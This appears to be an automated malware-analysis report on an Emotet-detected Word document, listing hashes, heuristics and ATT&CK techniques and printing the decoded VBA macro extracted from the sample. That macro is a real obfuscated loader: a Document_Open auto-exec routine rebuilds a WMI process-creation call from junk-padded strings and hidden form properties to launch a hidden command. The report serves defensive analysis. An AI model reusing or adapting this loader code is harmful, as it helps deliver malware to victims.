Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 86f92d45d74ec723…

MALICIOUS

Office (OLE)

173.3 KB Created: 2020-07-22 23:12:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: ba89cf90d8b37e93290a3b9b4fd03939 SHA-1: 1a7cdc453dd231626899175ac8b5dd63d86f4829 SHA-256: 86f92d45d74ec723c8b64724e51fcaabfdab548ef22d96a5b851c0545361597e
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution routine and a hidden UserForm command stager, which are strong indicators of malicious intent. ClamAV detection confirms this, identifying it as Emotet. The VBA code is heavily obfuscated, but the presence of CreateObject and the auto-execution mechanism strongly suggest it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9479262-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9479262-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10074 bytes
SHA-256: de73e6520601216f229586c1a117b611ac4bafa07f2962ff6b4e9ebe1994c854
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "diakzouxchouz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
boaxvoebxiotqueb
End Sub


Attribute VB_Name = "roubhaol"
Attribute VB_Base = "0{F7B023C4-B78E-4209-9503-5004D43255AC}{575DE6EB-8D5E-4153-8C58-4FAD3CE32577}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "govwiahtoozfaid"
Function boaxvoebxiotqueb()
gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))
Dim c7ÓATOQe2Ëj As Integer
c7ÓATOQe2Ëj = 6
Do While c7ÓATOQe2Ëj < 6 + 2
c7ÓATOQe2Ëj = c7ÓATOQe2Ëj + 5: DoEvents
Loop
haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + gooykadheoj + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"
Dim t0Á7ÖVhC As String
t0Á7ÖVhC = Replace$("NrsGblssw", "NrsGbl", "jeSyf")
deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)
Dim aboKTWBmOV As Variant
Set tiajriokchaoy = CreateObject(deulsaocthuul)
Dim Li2ÚJ8âfUTJJ As Boolean
deaknaugthein = roubhaol.kaizseah.ControlTipText
Dim Wmuaj As String
Wmuaj = Replace$("LqdFaWZRoPXoybkSqY", "LqdFaWZRoP", "nIEI6Ý")
giakfeiw = deulsaocthuul + gooykadheoj + roubhaol.paerwagyouqumeid.ControlTipText + deaknaugthein
Dim lgiLh7Ë As Object
queegthaen = giakfeiw + roubhaol.joefwoefcheaw
Dim FZV4ÇKPQ As Integer
FZV4ÇKPQ = 4
Do While FZV4ÇKPQ < 4 + 5
FZV4ÇKPQ = FZV4ÇKPQ + 3: DoEvents
Loop
Set deavjoajsear = luumlaud(queegthaen)
Dim kRpYwyW As String
kRpYwyW = Replace$("f4åL5åJqZNvlk", "f4åL5åJ", "TFRkfTygd")
xve = Array _
("1234444123", tiajriokchaoy. _
Create(geulgelquuuj, kaenhaig, deavjoajsear), "9938723")
Dim C0ÄjVh As Integer
C0ÄjVh = 9
Do While C0ÄjVh < 9 + 1
C0ÄjVh = C0ÄjVh + 1: DoEvents
Loop
End Function
Function juuvzouchmiopxeox(yiajthoavheiw)
geutyoeytiestheug = yiajthoavheiw
Dim QSuRcu As Currency
feaxgeip = Split(geutyoeytiestheug, "2342772g3&*gs7712ffvs626fq")
Dim J1Â8ÀXwEwAd As String
J1Â8ÀXwEwAd = Replace$("UBZIWrn7ÆJAPVmt", "UBZI", "hsvq")
jaquhoiqu = csqw + Join(feaxgeip, eihnx)
Dim gBv As Object
juuvzouchmiopxeox = jaquhoiqu
Dim lqsqsHrCH As Boolean
End Function
Function geulgelquuuj()
sjiqw = roubhaol.gaoddaicsauktheb.Pages(10 / 10).ControlTipText
Dim ISXQDR As Integer
ISXQDR = 2
Do While ISXQDR < 2 + 7
ISXQDR = ISXQDR + 9: DoEvents
Loop
geulgelquuuj = juuvzouchmiopxeox(sjiqw)
Dim kbqvO4Ä7Çr As Byte
End Function
Function luumlaud(zeolkaepxoag)
Set luumlaud = CreateObject(zeolkaepxoag)
Dim vPu As String
vPu = Replace$("BenqV1áigVwifwdQq", "BenqV1ái", "on5Â")
luumlaud _
. _
showwindow = (mujgoiy + jioyseertioch) + (neivberziok + xuajroegquoudcaij)
Dim osWIUnikOk As String
osWIUnikOk = Replace$("cLwhWVLMDSQFh3ÔT7É", "cLwhWVLMDS", "AvYXNNS")
End Function


' Processing file: /opt/analyzer/scan_staging/07e89c5ca33c487aac42ceb067061d3e.bin
' ===============================================================================
' Module streams:
' Macros/VBA/diakzouxchouz - 1367 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub diakzouxchouz())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/roubhaol - 1187 bytes
' Macros/VBA/govwiahtoozfaid - 5705 bytes
' L
... (truncated)

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